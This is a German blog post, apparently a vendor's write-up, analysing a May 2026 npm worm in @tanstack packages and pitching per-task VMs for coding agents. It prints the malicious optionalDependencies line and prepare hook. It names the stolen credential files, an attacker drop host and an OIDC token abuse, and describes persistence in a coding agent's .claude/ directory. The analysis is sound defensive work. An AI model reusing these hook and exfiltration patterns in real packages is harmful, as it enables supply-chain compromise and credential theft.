Der Wurm, der sich selbst in .claude schreibt
Am 11. Mai 2026 fügte ein npm-Wurm namens Mini Shai-Hulud eine optionalDependencies-Zeile zu 42 Paketen im @tanstack-Namespace hinzu. Die Installation eines davon führte ein Bun-Skript aus, das ein OIDC-Token aus der GitHub Actions-Umgebung abgriff, es nutzte, um weitere kompromittierte Versionen mit gültiger SLSA-Provenienz zu veröffentlichen, sich selbst für das nächste Mal in .claude/ kopierte, wenn der Coding-Agent startete, und alles von ~/.aws bis zu Ihrer Krypto-Brieftasche exfiltrierte. Die Pakete waren signiert. Die Attestierung war gültig. Hier sehen Sie, wie die Kette aussieht und was sich ändert, wenn der Agent, der die Installation durchführte, in einer per-Task Bromure VM läuft.
Am 11. Mai 2026, zwischen etwa 19:20 und 19:26 UTC, schob jemand
vierundachtzig bösartige Artefakte über zweiundvierzig @tanstack-
Pakete — darunter @tanstack/react-router, die Routing-Bibliothek,
die zwölf Millionen npm install-Zeilen jede Woche ziehen. Die Pakete
waren von TanStacks echter Release-Pipeline signiert und trugen gültige
SLSA-Provenienz, weil der Wurm kein Publisher-Token gestohlen hatte.
Er kaperte TanStacks GitHub Actions-Runner mitten im Build. Und bevor
er ging, schrieb er auf jeder Maschine, die eine der schlechten
Versionen installierte, eine Persistenz-Kopie von sich selbst in .claude/.
Es gibt eine Art von Supply-Chain-Angriff, der aufgeschrieben wird, weil
jemand das Passwort eines Maintainers gestohlen hat. Das ist nicht einer
davon. Die Version von Mini Shai-Hulud, die
Aikido,
Socket,
Wiz
und Snyk
alle am Montagabend erwischten, brauchte kein Passwort. Sie brauchte einen
Entwickler irgendwo, der npm install auf einem Projekt tippte, das
transitiv von @tanstack/react-router abhing. Der Rest — einschließlich
des Teils, wo TanStacks eigene CI die Signatur auf das bösartige
Release prägte — war automatisch.
Die Mechanik ist wichtig, weil die Mechanik das ist, was diesen Angriff zu einer Frage über worauf der Coding-Agent auf Ihrem Laptop die Schlüssel hat macht, anstatt einer Frage über npm. Also lassen Sie uns die Kette durchgehen.
Die JSON-Zeile.
Der erste bösartige @tanstack/react-router-Build, Version
1.169.5, enthielt eine package.json mit genau diesem Inhalt:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
Eine Git-URL, kein npm-Paket. Ein gepinnter Commit, kein Versionsbereich.
Die package.json dieses Commits wiederum enthielt:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
Wenn npm eine Git-Abhängigkeit installiert, führt es das prepare-Skript
der Abhängigkeit aus. Das ist kein Bug; es ist der dokumentierte Vertrag,
weil Git-Abhängigkeiten normalerweise Quellcode sind und Quellcode
normalerweise einen Build braucht. Das && exit 1 ist der clevere Teil:
Es lässt die optionale Abhängigkeit beim Installieren fehlschlagen, was
bedeutet, dass npm sie nicht in package-lock.json aufzeichnet, was bedeutet,
dass ein Opfer, das einen Tag später die Lockfile auditiert, nichts Falsches
sieht. Die Payload lief. Die Lockfile ist sauber.
Die Laufzeit ist übrigens Bun. Nicht Node. npm wird Bun bei Bedarf für Sie installieren, also muss der Wurm nicht einmal seine eigene mitbringen. Es ist nichts falsch mit Bun — es ist eine vollkommen vernünftige JavaScript-Laufzeit — aber seine Anwesenheit gibt verschleiertem Code eine etwas weniger überfüllte Toolchain zum Verstecken, und das ist, für den Moment, was der Angreifer will.
Was der Runner tut, sobald er läuft.
Drei Dateien. Jede ist unabhängig schlecht.
router_init.js ist der Credential-Stealer. Es durchläuft die Festplatte
nach den üblichen Verdächtigen — ~/.aws/credentials, ~/.npmrc,
~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config,
~/.ssh/* und jede Dotfile, deren Name das Wort token enthält —
plus die Liste, die diesen Angriff von den Supply-Chain-Vorfällen von 2022
unterscheidet: die On-Disk-Tresore von Browser-Extension-Wallets
(MetaMask, Phantom, Keplr), die lokalen Sitzungsdateien von Cursor und
Windsurf, das eigene Token des Agenten, das in der Umgebung des
Elternprozesses sitzt, und alle MCP-Server-Konfigurationsdateien im
Projektbaum. Was immer es findet, es tart es, verschlüsselt es und
schickt es an filev2.getsession.org/file/, einen angreifer-kontrollierten
Drop, der hinter einem ansonsten legitimen File-Sharing-Service gehostet
wird, damit der Egress wie ein curl zu einem CDN aussieht.
tanstack_runner.js ist der Propagator. Sobald es das npm-Token des Opfers
gestohlen hat, zählt es die Pakete auf, die dieses Token veröffentlichen kann,
packt jedes Tarball mit der bösartigen optionalDependencies-Zeile neu,
die in package.json gespleißt wurde, erhöht die Version und veröffentlicht
neu. Das ist der Teil, der Mini Shai-Hulud zu einem Wurm macht anstatt
zu einem einzelnen schlechten Paket: Jeder Maintainer, der eine
kompromittierte Abhängigkeit installiert, wird potenziell zum nächsten Angreifer.
router_runtime.js ist die Persistenz-Kopie. Sockets
Teardown
merkt an, dass der Runner eine Kopie von sich selbst in das
.claude/-Unterverzeichnis schreibt, egal in welchem Projekt er sitzt,
weil .claude/ das Verzeichnis ist, das Claude Code beim Start für
projekt-spezifische Einstellungen, Slash-Befehle und Tool-Konfigurationen liest.
Das nächste Mal, wenn der Entwickler dieses Repo in Claude Code öffnet — oder
schlimmer, das nächste Mal, wenn ihr Coding-Agent autonom das Repo auf
einer frisch ausgecheckten Maschine aufknackt — ist die Persistenz-Datei
bereits im Arbeitsbaum des Agenten. Der Wurm ist geduldig.
Der OIDC-Trick: wie ein bösartiges Paket gültige SLSA-Provenienz bekam.
Hier ist der Teil, der jeden, der eine Release-Pipeline betreibt,
nachts wach halten sollte. Das kompromittierte @tanstack/[email protected]
kam auf npm mit gültiger SLSA-Provenienz an. Sigstore signierte es.
GitHubs Attestation-API segnete es ab. Wenn Sie ein Skript geschrieben hätten,
das sagte "nur Pakete mit Provenienz installieren", hätten Sie es trotzdem
installiert.
Der Grund ist mechanisch. SLSA-Provenienz sagt nicht "dieser Code ist
sicher." Sie sagt "dieses Artefakt wurde von dem Workflow gebaut, dessen
OIDC-Identität es signiert hat." Damit das ein Sicherheitssignal ist,
muss der Workflow selbst unkompromittiert sein. In diesem Fall war der
Workflow TanStacks echter Release-Workflow — aber ein Schritt früher
im selben Job führte eine Abhängigkeit aus, deren eigenes Installations-
Skript (hier das prepare-Skript eines bösartigen Pakets, das TanStacks
eigener Abhängigkeitsbaum bereits eine wurm-injizierte Version enthielt)
innerhalb des Runners ausgeführt hatte. Der Runner ist ein Prozessbaum.
Der Runner hat die Umgebungsvariable ACTIONS_ID_TOKEN_REQUEST_TOKEN und
die URL ACTIONS_ID_TOKEN_REQUEST_URL, so wie legitime Workflows
kurzlebige OIDC-Token prägen. Genau wie alles andere, das in diesem
Prozessbaum läuft. Der Wurm rief denselben Endpoint auf, bekam ein Token,
das auf TanStacks Repository beschränkt war, nutzte es zum Veröffentlichen,
und Sigstore signierte das Ergebnis, weil aus Sigstores Sicht TanStack
veröffentlichte. Sockets Writeup ist direkt darüber: "Vertrauen Sie nicht
allein auf Sigstore-Provenienz-Badges als Sicherheitssignal."
Das ist dieselbe Lektion wie die LiteLLM- und Bitwarden CLI-Vorfälle,
über die wir
vor zwei Wochen geschrieben haben,
neu formuliert in einer Registry, die dachte, sie hätte die Vordertür
verriegelt. Die Lockfile ist keine Verteidigung, wenn die Payload im prepare ist.
Die Signatur ist keine Verteidigung, wenn der Runner des Signierers die Payload ist.
Wie die Kette von Ende zu Ende aussieht.
Das Bild hat zwei Eigenschaften, bei denen es sich zu verweilen lohnt, weil sie die Eigenschaften sind, die entscheiden, welche Mitigationen funktionieren und welche nicht.
Die erste ist, dass jede Datei, die der Wurm liest, eine Datei ist, die der
Benutzer für den Benutzer dorthin gelegt hat. Niemand wählte, einer
Routing-Bibliothek Zugang zu ~/.aws/credentials zu geben. Der Grund,
warum sie Zugang hat, ist, dass die Shell, die npm install ausführte,
Zugang hat, weil der Entwickler, der vor dieser Shell saß, Zugang hat,
und so funktioniert Unix. Der Agent ist, mechanisch gesehen, eine
Erweiterung der Hände des Entwicklers. Er erbt die Reichweite des Entwicklers.
Die zweite ist, dass der destruktive Schritt nicht der Credential-Diebstahl ist.
Es ist die Persistenz-Schreibung in .claude/. Ein reiner Credential-Raub
ist eine Einschuss-Waffe — rotieren Sie die Schlüssel und Sie sind fertig.
Eine Persistenz-Datei im projekt-spezifischen Konfigurationsverzeichnis des
Agenten bedeutet, dass die nächste Coding-Sitzung, auf einer frisch
ausgecheckten Maschine, bei einem anderen Entwickler, den Wurm wieder
ausführt, mit den Schlüsseln dieses Entwicklers, auf der Maschine dieses
Entwicklers. Der Explosionsradius ist nicht ein Laptop. Es ist das Team.
Dieselbe Kette innerhalb von Bromure Agentic Coding.
Bromure Agentic Coding ist die Konfiguration, in der der Coding-Agent — Claude Code, Cursors CLI, die Codex CLI, Aider, was immer Sie bevorzugen — innerhalb einer per-Task Bromure VM läuft, mit dem Projektordner eingehängt und sonst nichts. Die VM ist derselbe wegwerfbare Linux-Gast, den ein Bromure-Browser-Tab verwendet; der Agent lebt nur für die Lebensdauer einer Aufgabe darin, anstatt für die Lebensdauer eines Seitenladens.
Hier ist, was das mit der obigen Kette macht, Datei für Datei.
Die Schritte des Wurms dorthin abbilden, wo sie sterben.
Die drei Dateien des Runners gegen Bromures Grenzen abzugehen, eine nach der anderen, ist der Teil, wo das aufhört, ein Slogan zu sein und anfängt, eine Checkliste zu sein.
router_init.js greift nach den Schlüsseln.
Der Runner liest ~/.aws/credentials, ~/.npmrc, $GH_TOKEN,
~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json
und ~/.ssh/id_ed25519. Innerhalb der Bromure VM sind die ersten vier
Stubs — syntaktisch gültige Credential-Dateien, die Strings enthalten,
die nichts im öffentlichen Internet bedeuten. Die kubeconfig ist auch ein
Stub (oder abwesend, wenn Sie keinen Kubernetes-Cluster für diese Aufgabe
konfiguriert haben). Die Docker-Konfiguration ist ein Stub. Der private
SSH-Schlüssel ist überhaupt nicht auf der Festplatte; die VM hat einen
weitergeleiteten ssh-agent-Socket, dessen Schlüsselmaterial im macOS
Keychain auf der Host-Seite des Hypervisors lebt. Das cat ~/.ssh/id_ed25519
des Runners gibt Datei oder Verzeichnis nicht gefunden zurück und
der Runner macht weiter.
Was ist mit MetaMask, Phantom und Keplr? Das sind Browser-Erweiterungen. Bromure installiert überhaupt keine Chrome-Erweiterungen in seinem Browser — nicht auf eine "kuratierte" oder "sandboxed" Weise, einfach überhaupt nicht — und die per-Task VM, die Ihren Coding-Agent ausführt, hat auch keine Desktop-Wallet auf ihrem Dateisystem sitzen. Die Wallet-Tresore, nach denen der Runner sucht, leben auf Ihrem Host, in Ihrem echten Browser-Profil, auf der anderen Seite einer Linux/macOS-Grenze, die der Runner nicht erreichen kann.
Cursor- und Windsurf-Sitzungsdateien sind ein interessanter Mittelfall. Wenn Sie Ihren Coding-Agent innerhalb einer Bromure Agentic-Sitzung ausführen, dann ist "Cursors Sitzungsdatei" die Datei innerhalb dieser VM — was eine frische VM ist, deren einzige angemeldete Agent-Identität die ist, die Sie gerade für diese Aufgabe bereitgestellt haben, auf dieses Repo beschränkt, gültig für diese Aufgabe. Der Runner wird dieses Token exfiltrieren. Das Token ist gut für eine Aufgabe in einem Repo. Wenn die Aufgabe endet, wird das Token rotiert. Der Explosionsradius ist das, was der Agent bereits tun durfte, was nicht nichts ist — siehe unten — aber es ist ein weiter Weg von "der Angreifer hat jetzt mein ganzes AI-Abonnement."
tanstack_runner.js versucht neu zu veröffentlichen.
Der ganze Grund für die Existenz des Propagators ist, das npm-Token des
Opfers zu verwenden, um weitere kompromittierte Pakete zu veröffentlichen.
Innerhalb der VM ist das npm-Token in ~/.npmrc ein Stub. Der Egress-Proxy
auf dem Host weiß über api.github.com und registry.npmjs.org für das
echte Repo, an dem der Benutzer gerade arbeitet, aber er leitet nicht
blind publish-Anfragen gegen beliebige unverwandte Pakete mit dem
echten npm-Token des Hosts weiter. (Wenn Sie nicht beabsichtigen, von
dieser Aufgabe zu veröffentlichen, enthält die Proxy-Whitelist npm überhaupt
nicht.) Der Publish-Versuch kommt zurück als 401 Unauthorized, und die
Propagationsschleife des Wurms stirbt am Kabel.
Das ist der Unterschied zwischen einem Credential-Broker und einem Bind-Mount.
Ein Container, der ~/.npmrc in sich hinein mountet, gibt dem Runner das
echte Publish-Token. Eine VM, die ein Stub-~/.npmrc und einen host-seitigen
Proxy hat, der den Unterschied zwischen "der Agent schiebt zu seinem eigenen
Arbeits-Repo" und "irgendein Skript veröffentlicht vierzig andere Pakete neu,
von denen ich nie gehört habe" kennt, gibt dem Runner eine 401. Gleicher Input.
Andere Topologie.
router_runtime.js schreibt sich selbst in .claude.
Die Persistenz-Datei ist der Zug, der einen Ein-Tab-Vorfall in eine Multi-Tab-Pandemie verwandelt, und es ist der Zug, gegen den Bromure Agentic Codings wegwerfbares Festplatten-Modell strukturell allergisch ist.
.claude/ lebt innerhalb des Projektbaums, der bei einer Bromure-Agent-
Sitzung zu Beginn der Aufgabe in die VM eingehängt wird. Also schreibt der
Wurm erfolgreich router_runtime.js in ./project/.claude/. Diese Datei
ist jetzt Teil des Arbeitsbaums Ihres Repos. Sie ist auch, abhängig von
Ihren Aufgabeneinstellungen, entweder (a) innerhalb der wegwerfbaren
CoW-Festplatte der VM und steht kurz davor, am Ende der Sitzung gelöscht
zu werden, oder (b) auf der Host-Seite des Mounts und steht kurz davor,
in git status aufzutauchen. In Fall (a) ist die Persistenz weg. In Fall (b)
sitzt die Persistenz vor dem Entwickler mit einem roten Diff daneben.
Der Fall, den niemand will, ist der stumme: der Wurm läuft auf dem Laptop,
schreibt .claude/router_runtime.js, die Datei wird durch irgendeine
vererbte Konfiguration npm ignored, und die Persistenz sitzt dort und
lädt sich selbst in jede zukünftige Claude Code-Sitzung in diesem Repo,
weil niemand je hingeschaut hat. Das ist der Fall, den Bromure standardmäßig
entfernt — weil entweder die Festplatte weggeht, oder die Datei im sichtbaren
Diff ist.
Warum ein Container Sie nicht hierhin bringt.
Derselbe Einwand gilt wie im Bitwarden CLI-Writeup: Sie können einen Coding-Agent in einen Container stecken, und für viele alltägliche Aufgaben ist das wirklich eine Verbesserung gegenüber dem Ausführen auf dem Host. Aber die Grenze ist nicht da, wo der Wurm sich kümmert.
Um einen Container für die Dinge nützlich zu machen, die ein Coding-Agent
tut — um ihn git push, gh pr create, npm install aus einer privaten
Registry, Push-Images zu lassen — mounten Sie am Ende ~/.ssh,
~/.npmrc und das GitHub-Token in den Container. Das prepare-Skript macht
cat ~/.ssh/id_ed25519 und bekommt die tatsächliche Datei. Ein Bind-Mount
ist genau der weiche Unterleib, nach dem der Wurm suchte, und er hört nicht
auf, ein weicher Unterleib zu sein, weil Docker beteiligt ist.
Die Browser-Extension-Wallets sind aus demselben Grund wichtig. Sobald ein Container für "die Docs-Site scrapen, damit ich sie zusammenfassen kann" oder "eine localhost-Vorschau öffnen" — häufige agentische Aufgaben — konfiguriert ist, wird sein Zugang zum echten Browser-Profil des Hosts zur Frage. Bromures per-Task VM hat Ihr Browser-Profil nicht darin. Sie hat Ihr Wallet nicht darin. Sie hat Ihr LastPass-Äquivalent nicht darin. Der Agent spricht mit einem frischen, ungebrandeten Chromium auf dem Gast, das absichtlich niemandes Haupt-Browser ist.
Wo das Sie nicht rettet.
Zwei Orte, und beide verdienen es, benannt zu werden, damit sie keine Überraschungen sind.
Der Agent kann immer noch schlechten Code verschiffen.
Nichts an einer per-Task VM hält einen Agenten davon ab, von einer vergifteten README oder einem MCP-Server, der hilfsreich aussehende Anweisungen zurückgibt, dazu gebracht zu werden, eine Hintertür in Ihren Code zu committen und zu pushen. Die Grenze schützt Credentials auf Ihrer Maschine. Sie überprüft nicht das Diff. Lesen Sie das Diff. Die Sitzungsspur macht es einfacher zu wissen, welche Diffs zu lesen sind.
Die Egress-Whitelist ist das ganze Spiel.
Wenn Ihre Aufgabe npm publish zu Ihrem eigenen Scope whitelistet, weil
Sie heute veröffentlichen, und Sie zufällig heute einen Wurm installieren,
wird der Wurm unter Ihrem Scope veröffentlichen. Die Vermittlung funktioniert,
weil die Whitelist schmal ist. Machen Sie sie absichtlich schmal.
Eine Aufgabe, die nicht veröffentlichen muss, sollte nicht veröffentlichen
können.
Die Zwischenablage ist standardmäßig immer noch geteilt.
Bromure wird mit aktiviertem Zwischenablage-Sharing zwischen Host und Gast geliefert, weil das Einfügen einer Fehlermeldung in einen Chat etwas ist, was Menschen tun müssen. Wenn Sie etwas Sensibles innerhalb einer Aufgabe tun, isolieren Sie die Zwischenablage für diese VM. Die Kontrolle ist da. Sie ist nur nicht der Standard.
Die Spur ist Ihr Audit-Log, nicht Ihr IDS.
Die Sitzungsspur erfasst jeden Shell-Befehl, jede Datei-Schreibung
und jede ausgehende Anfrage. Sie klassifiziert filev2.getsession.org
nicht von sich aus als schlecht. Sie erfasst, dass die Anfrage gemacht
wurde, damit wenn jemand morgen früh ein Writeup wie das von Aikido
veröffentlicht, Ihr grep zwei Sekunden dauert.
Eine letzte Sache.
Es gibt eine Version dieser Geschichte, wo die Antwort "auditieren Sie Ihre Lockfile" ist. Die Lockfile war sauber. Es gibt eine Version, wo die Antwort "nur Pakete mit Provenienz installieren" ist. Die Provenienz war gültig. Es gibt eine Version, wo die Antwort "einen Container verwenden" ist. Der Container hat einen Bind-Mount.
Die Version, die tatsächlich einem Wurm standhält, dessen Payload läuft,
bevor die Lockfile geschrieben wird und innerhalb der eigenen CI des
Publishers, ist die Version, wo der Agent, der tippt, innerhalb einer
wegwerfbaren Linux-VM sitzt, deren host-seitiger Proxy die echten Schlüssel hält.
Der npm-Registry-Vertrag ändert sich nicht. Der prepare-Hook läuft immer noch.
Bun bootet immer noch. router_init.js macht immer noch seine Durchsuchung.
Es durchsucht nur einen Gast, dessen Geheimnisse nicht die Geheimnisse des
Benutzers sind, und die wegwerfbare Festplatte, auf der es zu persistieren
versucht, ist weg vor dem nächsten Kaffee.
Bromure Agentic Coding ist die Konfiguration, wo das der Standard ist. Es ist kostenlos, Open-Source und heute verfügbar. Der nächste Wurm wird bereits hochgeladen.